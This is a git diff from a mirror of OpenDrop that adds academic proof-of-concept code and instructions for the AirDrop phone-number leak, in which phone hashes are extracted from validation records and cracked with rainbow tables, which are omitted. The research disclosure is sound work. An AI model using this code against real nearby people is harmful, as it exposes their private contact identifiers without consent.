mirror of
https://github.com/seemoo-lab/opendrop.git
synced 2026-09-16 08:06:12 -04:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
81ddc07996 |
@@ -0,0 +1,3 @@
|
|||||||
|
[submodule "rt_phone_numbers"]
|
||||||
|
path = rt_phone_numbers
|
||||||
|
url = https://github.com/contact-discovery/rt_phone_numbers.git
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
# This CITATION.cff file was generated with cffinit.
|
|
||||||
# Visit https://bit.ly/cffinit to generate yours today!
|
|
||||||
|
|
||||||
cff-version: 1.2.0
|
|
||||||
title: 'OpenDrop: an Open Source AirDrop Implementation'
|
|
||||||
message: 'If you use this software, please cite it as below.'
|
|
||||||
type: software
|
|
||||||
authors:
|
|
||||||
- given-names: Alexander
|
|
||||||
family-names: Heinrich
|
|
||||||
affiliation: 'SEEMOO, TU Darmstadt'
|
|
||||||
orcid: 'https://orcid.org/0000-0002-1150-1922'
|
|
||||||
- given-names: Milan
|
|
||||||
family-names: Stute
|
|
||||||
affiliation: 'SEEMOO, TU Darmstadt'
|
|
||||||
orcid: 'https://orcid.org/0000-0003-4921-8476'
|
|
||||||
- given-names: Matthias
|
|
||||||
family-names: Hollick
|
|
||||||
affiliation: 'SEEMOO, TU Darmstadt'
|
|
||||||
orcid: 'https://orcid.org/0000-0002-9163-5989'
|
|
||||||
repository-code: 'https://github.com/seemoo-lab/opendrop'
|
|
||||||
abstract: >-
|
|
||||||
OpenDrop is a command-line tool that allows sharing files
|
|
||||||
between devices directly over Wi-Fi. Its unique feature is
|
|
||||||
that it is protocol-compatible with Apple AirDrop which
|
|
||||||
allows to share files with Apple devices running iOS and
|
|
||||||
macOS.
|
|
||||||
license: GPL-3.0
|
|
||||||
commit: cbc7ca46a75bb2da4af9d406732ddf2192578388
|
|
||||||
version: '0.13'
|
|
||||||
date-released: '2021-04-29'
|
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
# PoC: AirDrop Phone Number Leak
|
||||||
|
|
||||||
|
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
|
||||||
|
|
||||||
|
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
|
||||||
|
|
||||||
|
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
|
||||||
|
|
||||||
|
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
|
||||||
|
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
Run the following instructions on a Mac (tested with macOS 11.2.3).
|
||||||
|
|
||||||
|
1. Checkout the repository.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/seemoo-lab/opendrop.git
|
||||||
|
cd opendrop
|
||||||
|
git checkout poc-phonenumber-leak
|
||||||
|
git submodule update --init
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Install Python dependencies.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip3 install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
brew install libomp
|
||||||
|
cd rt_phone_numbers
|
||||||
|
make -f Makefile.macOS
|
||||||
|
cd ..
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
|
||||||
|
|
||||||
|
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
|
||||||
|
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
|
||||||
|
|
||||||
|
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
|
||||||
|
|
||||||
|
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m opendrop receive
|
||||||
|
```
|
||||||
|
|
||||||
|
An example output would look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
|
||||||
|
Starting HTTPS server
|
||||||
|
Nearby phone number: +49<...>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
|
||||||
|
|
||||||
|
Exploiting this vulnerability requires the victim to have the attacker in their address book.
|
||||||
|
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
|
||||||
|
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
|
||||||
|
This attack does not require any interaction on part of the victim. Simply run:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 -m opendrop find
|
||||||
|
```
|
||||||
|
|
||||||
|
An example output would look like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
Looking for receivers. Press Ctrl+C to stop ...
|
||||||
|
Nearby phone number: +49<...>
|
||||||
|
Found index 0 ID a019b536c38b name John Doe's iPhone
|
||||||
|
```
|
||||||
@@ -9,7 +9,7 @@ We support contacts-only devices by using extracted AirDrop credentials (keys an
|
|||||||
|
|
||||||
## Disclaimer
|
## Disclaimer
|
||||||
|
|
||||||
OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>) project.
|
OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](https://owlink.org) project.
|
||||||
Therefore, it does not support all features of AirDrop or might be incompatible with future AirDrop versions.
|
Therefore, it does not support all features of AirDrop or might be incompatible with future AirDrop versions.
|
||||||
OpenDrop is not affiliated with or endorsed by Apple Inc. Use this code at your own risk.
|
OpenDrop is not affiliated with or endorsed by Apple Inc. Use this code at your own risk.
|
||||||
|
|
||||||
@@ -52,7 +52,7 @@ pip3 install ./opendrop
|
|||||||
We briefly explain how to send and receive files using `opendrop`.
|
We briefly explain how to send and receive files using `opendrop`.
|
||||||
To see all command line options, run `opendrop -h`.
|
To see all command line options, run `opendrop -h`.
|
||||||
|
|
||||||
### Sending a File or a Link
|
### Sending a File
|
||||||
|
|
||||||
Sending a file is typically a two-step procedure. You first discover devices in proximity using the `find` command.
|
Sending a file is typically a two-step procedure. You first discover devices in proximity using the `find` command.
|
||||||
Stop the process once you have found the receiver.
|
Stop the process once you have found the receiver.
|
||||||
@@ -62,7 +62,7 @@ Looking for receivers. Press Ctrl+C to stop ...
|
|||||||
Found index 0 ID eccb2f2dcfe7 name John’s iPhone
|
Found index 0 ID eccb2f2dcfe7 name John’s iPhone
|
||||||
Found index 1 ID e63138ac6ba8 name Jane’s MacBook Pro
|
Found index 1 ID e63138ac6ba8 name Jane’s MacBook Pro
|
||||||
```
|
```
|
||||||
You can then `send` a file (or link, see below) using
|
You can then `send` a file using
|
||||||
```
|
```
|
||||||
$ opendrop send -r 0 -f /path/to/some/file
|
$ opendrop send -r 0 -f /path/to/some/file
|
||||||
Asking receiver to accept ...
|
Asking receiver to accept ...
|
||||||
@@ -73,13 +73,6 @@ Uploading has been successful
|
|||||||
Instead of the `index`, you can also use `ID` or `name`.
|
Instead of the `index`, you can also use `ID` or `name`.
|
||||||
OpenDrop will try to interpret the input in the order (1) `index`, (2) `ID`, and (3) `name` and fail if no match was found.
|
OpenDrop will try to interpret the input in the order (1) `index`, (2) `ID`, and (3) `name` and fail if no match was found.
|
||||||
|
|
||||||
**Sending a web link.** Since v0.13, OpenDrop supports sending web links, i.e., URLs, so that receiving Apple devices will immediately open their browser upon accepting.
|
|
||||||
(Note that OpenDrop _receivers_ still only support receiving regular files.)
|
|
||||||
|
|
||||||
```
|
|
||||||
$ opendrop send -r 0 -f <<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>> --url
|
|
||||||
```
|
|
||||||
|
|
||||||
### Receiving Files
|
### Receiving Files
|
||||||
|
|
||||||
Receiving is much easier. Simply use the `receive` command. OpenDrop will accept all incoming files automatically and put received files in the current directory.
|
Receiving is much easier. Simply use the `receive` command. OpenDrop will accept all incoming files automatically and put received files in the current directory.
|
||||||
@@ -101,8 +94,7 @@ OpenDrop is the result of a research project and, thus, has several limitations
|
|||||||
|
|
||||||
## Our Papers
|
## Our Papers
|
||||||
|
|
||||||
* Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop.** *30th USENIX Security Symposium (USENIX Security ’21)*, August 14–16, 2019, virtual Event. [Paper](https://www.usenix.org/conference/usenixsecurity21/presentation/heinrich) [Website](https://privatedrop.github.io) [Code](https://github.com/seemoo-lab/privatedrop)
|
* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Link](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
|
||||||
* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Paper](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
|
|
||||||
|
|
||||||
|
|
||||||
## Authors
|
## Authors
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ import logging
|
|||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
|
|
||||||
__version__ = "0.13.0"
|
__version__ = "0.12.3"
|
||||||
|
|
||||||
if platform.system() == "Darwin":
|
if platform.system() == "Darwin":
|
||||||
dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "") # save old path
|
dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "") # save old path
|
||||||
|
|||||||
+3
-7
@@ -41,9 +41,6 @@ class AirDropCli:
|
|||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
parser.add_argument("action", choices=["receive", "find", "send"])
|
parser.add_argument("action", choices=["receive", "find", "send"])
|
||||||
parser.add_argument("-f", "--file", help="File to be sent")
|
parser.add_argument("-f", "--file", help="File to be sent")
|
||||||
parser.add_argument(
|
|
||||||
"-u", "--url", help="'-f,--file is a URL", action="store_true"
|
|
||||||
)
|
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"-r",
|
"-r",
|
||||||
"--receiver",
|
"--receiver",
|
||||||
@@ -102,10 +99,9 @@ class AirDropCli:
|
|||||||
else: # args.action == 'send'
|
else: # args.action == 'send'
|
||||||
if args.file is None:
|
if args.file is None:
|
||||||
parser.error("Need -f,--file when using send")
|
parser.error("Need -f,--file when using send")
|
||||||
if not os.path.isfile(args.file) and not args.url:
|
if not os.path.isfile(args.file):
|
||||||
parser.error("File in -f,--file not found")
|
parser.error("File in -f,--file not found")
|
||||||
self.file = args.file
|
self.file = args.file
|
||||||
self.is_url = args.url
|
|
||||||
if args.receiver is None:
|
if args.receiver is None:
|
||||||
parser.error("Need -r,--receiver when using send")
|
parser.error("Need -r,--receiver when using send")
|
||||||
self.receiver = args.receiver
|
self.receiver = args.receiver
|
||||||
@@ -188,12 +184,12 @@ class AirDropCli:
|
|||||||
return
|
return
|
||||||
self.client = AirDropClient(self.config, (info["address"], info["port"]))
|
self.client = AirDropClient(self.config, (info["address"], info["port"]))
|
||||||
logger.info("Asking receiver to accept ...")
|
logger.info("Asking receiver to accept ...")
|
||||||
if not self.client.send_ask(self.file, is_url=self.is_url):
|
if not self.client.send_ask(self.file):
|
||||||
logger.warning("Receiver declined")
|
logger.warning("Receiver declined")
|
||||||
return
|
return
|
||||||
logger.info("Receiver accepted")
|
logger.info("Receiver accepted")
|
||||||
logger.info("Uploading file ...")
|
logger.info("Uploading file ...")
|
||||||
if not self.client.send_upload(self.file, is_url=self.is_url):
|
if not self.client.send_upload(self.file):
|
||||||
logger.warning("Uploading has failed")
|
logger.warning("Uploading has failed")
|
||||||
return
|
return
|
||||||
logger.info("Uploading has been successful")
|
logger.info("Uploading has been successful")
|
||||||
|
|||||||
+21
-20
@@ -141,10 +141,15 @@ class AirDropClient:
|
|||||||
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
||||||
response = plistlib.loads(response_bytes)
|
response = plistlib.loads(response_bytes)
|
||||||
|
|
||||||
|
# Extract and lookup phone number hashes from validation record
|
||||||
|
validation_record = response["ReceiverRecordData"]
|
||||||
|
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||||
|
AirDropUtil.lookup_phone_hashes(hashes)
|
||||||
|
|
||||||
# if name is returned, then receiver is discoverable
|
# if name is returned, then receiver is discoverable
|
||||||
return response.get("ReceiverComputerName")
|
return response.get("ReceiverComputerName")
|
||||||
|
|
||||||
def send_ask(self, file_path, is_url=False, icon=None):
|
def send_ask(self, file_path, icon=None):
|
||||||
ask_body = {
|
ask_body = {
|
||||||
"SenderComputerName": self.config.computer_name,
|
"SenderComputerName": self.config.computer_name,
|
||||||
"BundleID": "com.apple.finder",
|
"BundleID": "com.apple.finder",
|
||||||
@@ -155,6 +160,18 @@ class AirDropClient:
|
|||||||
if self.config.record_data:
|
if self.config.record_data:
|
||||||
ask_body["SenderRecordData"] = self.config.record_data
|
ask_body["SenderRecordData"] = self.config.record_data
|
||||||
|
|
||||||
|
if isinstance(file_path, str):
|
||||||
|
file_path = [file_path]
|
||||||
|
|
||||||
|
# generate icon for first file
|
||||||
|
with open(file_path[0], "rb") as f:
|
||||||
|
file_header = f.read(128)
|
||||||
|
flp = fleep.get(file_header)
|
||||||
|
if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
|
||||||
|
icon = AirDropUtil.generate_file_icon(f.name)
|
||||||
|
if icon:
|
||||||
|
ask_body["FileIcon"] = icon
|
||||||
|
|
||||||
def file_entries(files):
|
def file_entries(files):
|
||||||
for file in files:
|
for file in files:
|
||||||
file_name = os.path.basename(file)
|
file_name = os.path.basename(file)
|
||||||
@@ -167,20 +184,8 @@ class AirDropClient:
|
|||||||
}
|
}
|
||||||
yield file_entry
|
yield file_entry
|
||||||
|
|
||||||
if isinstance(file_path, str):
|
ask_body["Files"] = [e for e in file_entries(file_path)]
|
||||||
file_path = [file_path]
|
ask_body["Items"] = []
|
||||||
if is_url:
|
|
||||||
ask_body["Items"] = file_path
|
|
||||||
else:
|
|
||||||
# generate icon for first file
|
|
||||||
with open(file_path[0], "rb") as f:
|
|
||||||
file_header = f.read(128)
|
|
||||||
flp = fleep.get(file_header)
|
|
||||||
if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
|
|
||||||
icon = AirDropUtil.generate_file_icon(f.name)
|
|
||||||
ask_body["Files"] = [e for e in file_entries(file_path)]
|
|
||||||
if icon:
|
|
||||||
ask_body["FileIcon"] = icon
|
|
||||||
|
|
||||||
ask_binary = plistlib.dumps(
|
ask_binary = plistlib.dumps(
|
||||||
ask_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
ask_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
||||||
@@ -189,14 +194,10 @@ class AirDropClient:
|
|||||||
|
|
||||||
return success
|
return success
|
||||||
|
|
||||||
def send_upload(self, file_path, is_url=False):
|
def send_upload(self, file_path):
|
||||||
"""
|
"""
|
||||||
Send a file to a receiver.
|
Send a file to a receiver.
|
||||||
"""
|
"""
|
||||||
# Don't send an upload request if we just sent a link
|
|
||||||
if is_url:
|
|
||||||
return
|
|
||||||
|
|
||||||
headers = {
|
headers = {
|
||||||
"Content-Type": "application/x-cpio",
|
"Content-Type": "application/x-cpio",
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
|||||||
self.config, post_data, "receive_discover_request.plist"
|
self.config, post_data, "receive_discover_request.plist"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Extract and lookup phone number hashes from validation record
|
||||||
|
discover_request = plistlib.loads(post_data)
|
||||||
|
validation_record = discover_request["SenderRecordData"]
|
||||||
|
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||||
|
AirDropUtil.lookup_phone_hashes(hashes)
|
||||||
|
|
||||||
# sample media capabilities as recorded from macOS 10.13.3
|
# sample media capabilities as recorded from macOS 10.13.3
|
||||||
media_capabilities = {
|
media_capabilities = {
|
||||||
"Version": 1,
|
"Version": 1,
|
||||||
|
|||||||
@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
|
|||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import glob
|
||||||
import io
|
import io
|
||||||
import ipaddress
|
import ipaddress
|
||||||
import os
|
import os
|
||||||
|
import plistlib
|
||||||
|
import subprocess
|
||||||
|
|
||||||
import ifaddr
|
import ifaddr
|
||||||
|
from ctypescrypto import cms
|
||||||
from libarchive.entry import ArchiveEntry, new_archive_entry
|
from libarchive.entry import ArchiveEntry, new_archive_entry
|
||||||
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
||||||
ARCHIVE_EOF,
|
ARCHIVE_EOF,
|
||||||
@@ -168,6 +172,45 @@ class AirDropUtil:
|
|||||||
else: # assume bytes-like
|
else: # assume bytes-like
|
||||||
file.write(data)
|
file.write(data)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_hashes_from_validation_record(validation_record):
|
||||||
|
data = cms.CMS(validation_record, format="DER").data
|
||||||
|
data = plistlib.loads(data.encode())
|
||||||
|
phone_hashes = data["ValidatedPhoneHashes"]
|
||||||
|
return phone_hashes
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def lookup_phone_hashes(hashes):
|
||||||
|
for hash_ in hashes:
|
||||||
|
AirDropUtil.lookup_phone_hash(hash_)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def lookup_phone_hash(hash_):
|
||||||
|
rcrack_dir = os.path.join(
|
||||||
|
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
|
||||||
|
)
|
||||||
|
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
|
||||||
|
rcrack_table = ""
|
||||||
|
rcrack_tables = glob.glob(rcrack_table)
|
||||||
|
|
||||||
|
if len(rcrack_tables) == 0:
|
||||||
|
print("Could not recover hashed phone number: No rainbow tables provided.")
|
||||||
|
return
|
||||||
|
|
||||||
|
result = subprocess.run(
|
||||||
|
[rcrack_bin] + rcrack_tables + ["-h", hash_],
|
||||||
|
text=True,
|
||||||
|
cwd=rcrack_dir,
|
||||||
|
capture_output=True,
|
||||||
|
check=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
for line in result.stdout.splitlines():
|
||||||
|
if not line.startswith("plaintext of"):
|
||||||
|
continue
|
||||||
|
number = line.split("is")[1].strip()
|
||||||
|
print(f"Nearby phone number: +{number}")
|
||||||
|
|
||||||
|
|
||||||
class AbsArchiveWrite(ArchiveWrite):
|
class AbsArchiveWrite(ArchiveWrite):
|
||||||
def add_abs_file(self, path, store_path):
|
def add_abs_file(self, path, store_path):
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
Pillow
|
||||||
|
ctypescrypto
|
||||||
|
fleep
|
||||||
|
ifaddr
|
||||||
|
libarchive-c
|
||||||
|
requests
|
||||||
|
requests_toolbelt
|
||||||
|
zeroconf>=0.24.2
|
||||||
Submodule
+1
Submodule rt_phone_numbers added at b8986d1a20
@@ -14,7 +14,7 @@ setup(
|
|||||||
description="An open Apple AirDrop implementation",
|
description="An open Apple AirDrop implementation",
|
||||||
long_description=long_description,
|
long_description=long_description,
|
||||||
long_description_content_type="text/markdown",
|
long_description_content_type="text/markdown",
|
||||||
url="<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>",
|
url="https://owlink.org",
|
||||||
project_urls={
|
project_urls={
|
||||||
"Source": "https://github.com/seemoo-lab/opendrop",
|
"Source": "https://github.com/seemoo-lab/opendrop",
|
||||||
"Research Paper": "https://usenix.org/conference/usenixsecurity19/presentation/stute",
|
"Research Paper": "https://usenix.org/conference/usenixsecurity19/presentation/stute",
|
||||||
@@ -37,6 +37,7 @@ setup(
|
|||||||
package_data={"opendrop": ["certs/*.pem"]},
|
package_data={"opendrop": ["certs/*.pem"]},
|
||||||
install_requires=[
|
install_requires=[
|
||||||
"Pillow",
|
"Pillow",
|
||||||
|
"ctypescrypto",
|
||||||
"fleep",
|
"fleep",
|
||||||
"ifaddr",
|
"ifaddr",
|
||||||
"libarchive-c",
|
"libarchive-c",
|
||||||
|
|||||||
Reference in New Issue
Block a user